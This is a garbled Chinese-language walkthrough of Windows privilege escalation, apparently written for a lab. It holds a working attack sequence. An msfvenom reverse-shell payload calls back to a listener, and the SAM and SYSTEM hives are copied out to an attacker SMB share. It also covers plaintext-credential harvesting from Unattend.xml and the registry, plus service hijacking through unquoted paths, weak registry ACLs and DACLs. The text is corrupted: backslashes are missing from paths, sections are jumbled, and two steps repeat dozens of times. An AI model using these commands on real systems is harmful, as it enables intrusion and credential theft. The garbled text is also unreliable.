msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.175.130 LPORT=4444 -f exe -o a001.exe
0x01 重新定义概念和介绍
我们的目标是在Windows系统中实现特权升级,以获取管理员或系统用户的权限。提权通常需要对受攻击系统进行详细的信息收集。在许多情况下,提权不仅依赖于单个配置错误,而是可能涉及多个错误配置的组合。所有的特权升级实际上都是违反访问控制的例子。访问控制和用户权限是紧密相关的。在关注Windows中的权限升级时,了解Windows如何处理权限是非常重要的。用户账户用于登录Windows系统,可以将其视为受限于特定身份的设置或首选项集合。本地”管理员”账户是在安装时默认创建的。根据Windows版本的不同,可能还存在其他几个默认用户账户,如Guest。服务账户用于在Windows中运行服务,不能用于登录Windows系统。系统账户是默认的服务账户,具有Windows中任何本地账户的最高权限。其他默认的服务账户包括网络服务和本地服务。用户账户可以属于多个组,组也可以拥有多个用户。组的存在使得更容易访问资源。常规组(如管理员、用户)有一个成员列表,而伪组(如”已验证的用户”)有一个动态成员列表,这些成员根据某些交互进行更改。在Windows中,有多种类型的资源(也称为对象),如文件/目录、注册表项、服务等。用户和/或组是否具有执行特定操作的权限取决于资源的访问控制列表(ACL)。每个ACL由一个或多个访问控制条目(ACE)组成,每个ACE定义了一个主体(如用户、组)和特定的访问权限。
0x02 管理员权限和msfvenom
如果我们拥有管理员权限,我们可以执行msfvenom等操作。
net localgroup administrators <username /add
.PsExec64.exe -accepteula -i -s C:UsersuserDesktopa002.exe
使用nc监听进行反弹shell和RDP
如果RDP可用(或者我们可以启用它),我们可以将我们的低权限用户添加到管理员组,然后生成一个管理员命令。通过GUI提示,我们可以从管理员升级到完全系统权限。我们还可以使用Windows系统内部的PsExec工具来实现此目的。
PS. .PowerUp.ps1
0x03 工具使用前言
我们主要使用winPEAS、Seatbelt、Powerup和Sharpup这些工具。winPEAS是一个非常强大的工具,它不仅积极寻找特权升级错误配置,而且还在结果中突出显示它们。Seatbelt是一种枚举工具,它包含许多枚举检查。Powerup和Sharpup是用于特权升级的工具。我们可以运行这些工具来检查常见的特权升级错误配置。
运行Invoke AllChecks函数开始检查常见的特权升级错误配置。Sharpup和Seatbelt也可以用于进一步的调查。
要运行特定的检查,我们可以使用winPEAS、Seatbelt和Powerup等工具。
0x04 内核漏洞前言
内核是操作系统的核心,它是应用程序软件和实际计算机硬件之间的一层。内核对操作系统具有完全的控制权。利用内核漏洞可以导致以系统用户的身份执行操作。查找和利用内核漏洞的步骤包括列举Windows版本/补丁程序/级别、查找匹配的漏洞、编译并运行漏洞利用程序。
2.运行wesng查找潜在的漏洞。
3.编译并运行漏洞利用程序。
0x05 服务漏洞前言
服务是在后台运行、接受输入或执行常规任务的程序。如果服务以系统权限运行并配置错误,利用它们也可能导致具有系统权限的命令执行。我们可以使用命令来查询服务的配置、当前状态以及修改服务的配置选项。
sc.exe query <name
sc.exe config <name <option= <value
net start/stop
python smbserver.py a001 /var/www/html/
copy \192.168.175.130a001winPEASany.exe winPEASany.exe
查询服务的当前状态和修改服务的配置选项。
0x06 注册表权限弱
注册表是Windows中存储配置选项的地方。有些注册表条目可能以纯文本形式存储密码。我们可以搜索注册表中包含密码的键和值。
.Seatbelt.exe <check <check
reg add HKCUConsole /v VirtualTerminalLevel /t REG_DWORD /d 1
要运行特定的检查,我们可以使用winPEAS、Seatbelt和Powerup等工具。
.winPEASany.exe quiet cmd fast
.winPEASany.exe quiet cmd systeminfo
systeminfo 1.txt
运行所有检查并筛选出不重要的结果。
0x07 内核漏洞前言
内核是操作系统的核心,它是应用程序软件和实际计算机硬件之间的一层。内核对操作系统具有完全的控制权。利用内核漏洞可以导致以系统用户的身份执行操作。查找和利用内核漏洞的步骤包括列举Windows版本/补丁程序/级别、查找匹配的漏洞、编译并运行漏洞利用程序。
python wes.py 1.txt -i 'Elevation of Privilege' --exploits-only | less
x64.exe C:UsersdayuDesktopa002.exe
sc.exe qc
2.运行wesng查找潜在的漏洞。
PS Invoke-AllChecks
.SharpUp.exe
.Seatbelt.exe all
3.编译并运行漏洞利用程序。
0x08 密码前言
管理员有时会重复使用密码或将其密码存储在某些可读位置的系统上。Windows存储密码的功能可能不安全。我们可以搜索注册表和配置文件中存储的密码。
.winPEASany.exe quiet filesinfo userinfo
reg query "HKLMSoftwareMicrosoftWindows NTCurrentVersionwinlogon" reg query "HKCUSoftwareSimonTathamPuTTYSessions" /s
winexe -U 'admin%password123' //192.168.175.245 cmd.exewinexe -U 'admin%password123' --system //192.168.175.245 cmd.exe
Win7上修改1.关闭防火墙;2.Win+R>secpol.msc >本地策略>安全选项>网络访问:本地帐户的共享和安全模型:经典-对本地用户进行身份验证,不改变其本来身份;3.以管理员身份执行cmd,输入以下命令:reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciessystem" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
要运行特定的检查,我们可以使用winPEAS等工具。
2.发现Unattend.xml文件。
3.发现管理员用户的账号密码。
4.在Kali上进行解码。
dir /s *pass* == *.config
配置文件前言
某些管理员会在系统上留下包含密码的配置文件,如Unattend.xml文件。我们可以搜索可能包含凭据的常见文件。
findstr /si password *.xml *.ini *.txt
.winPEASany.exe quiet cmd searchfast filesinfo
type C:WindowsPantherUnattend.xml
要运行特定的检查,我们可以使用winPEAS等工具。
3.发现Unattend.xml文件。
cGFzc3dvcmQxMjM=Admin
echo "cGFzc3dvcmQxMjM=" | base64 -d
winexe -U 'admin%password123' //192.168.175.245 cmd.exe
copy C:WindowsRepairSAM \192.168.175.130tools copy C:WindowsRepairSYSTEM \192.168.175.130tools
4.发现管理员用户的账号密码。
5.在Kali上进行解码。
5.检查配置文件的当前配置。
6.重新配置文件以使用我们的反向外壳可执行文件。
7.启动服务触发漏洞进行反弹shell。
2.未引用的服务路径前言
Windows中的可执行文件可以在不使用扩展名的情况下运行。当使用未引用且包含空格的绝对路径时,可能会发生歧义。我们可以利用这个问题来欺骗服务执行我们的命令。
.winPEASany.exe quiet servicesinfo
实操1.运行winPEAS以检查服务配置错误。
C:Program FilesUnquoted Path ServiceCommon Filesunquotedpathservice.exe
sc qc unquotedsvc
.accesschk.exe /accepteula -uwdq C: .accesschk.exe /accepteula -uwdq "C:Program Files" .accesschk.exe /accepteula -uwdq "C:Program FilesUnquoted Path Service"
copy C:UsersuserDesktopa002.exe "C:Program FilesUnquoted Path ServiceCommon.exe"
2.发现”unquotedsvc”服务有一个未引用的路径,其中也包含空格。
net start unquotedsvc
.winPEASany.exe quiet servicesinfo
6.启动服务触发漏洞进行反弹shell。
3.注册表权限弱前言
每个服务的注册表存储条目可能具有ACL。如果ACL配置错误,即使我们不能直接修改服务,也有可能修改服务的配置。
实操1.运行winPEAS以检查服务配置错误。
Get-Acl HKLM:SystemCurrentControlSetServicesregsvc | Format-List
.accesschk.exe /accepteula -uvwqk HKLMSystemCurrentControlSetServicesregsvc
reg add HKLMSYSTEMCurrentControlSetservicesregsvc /v ImagePath /t REG_EXPAND_SZ /d C:UsersuserDesktopa002.exe /f
2.发现”regsvc”服务的注册表输入较弱。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
6.重新配置服务以使用我们的反向外壳可执行文件。
5.检查服务的当前配置。
sc qc daclsvc
sc config daclsvc binpath= ""C:UsersuserDesktopa002.exe""
net start daclsvc
C:Program FilesSome DirSomeProgram.exe
6.重新配置服务以使用我们的反向外壳可执行文件。
net start regsvc
.winPEASany.exe quiet servicesinfo
5.检查服务的当前配置。
C:UsersuserDesktop> .accesschk.exe /accepteula -uwcqv user daclsvc
C:UsersuserDesktop> .accesschk.exe /accepteula -uwcqv user daclsvc
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
{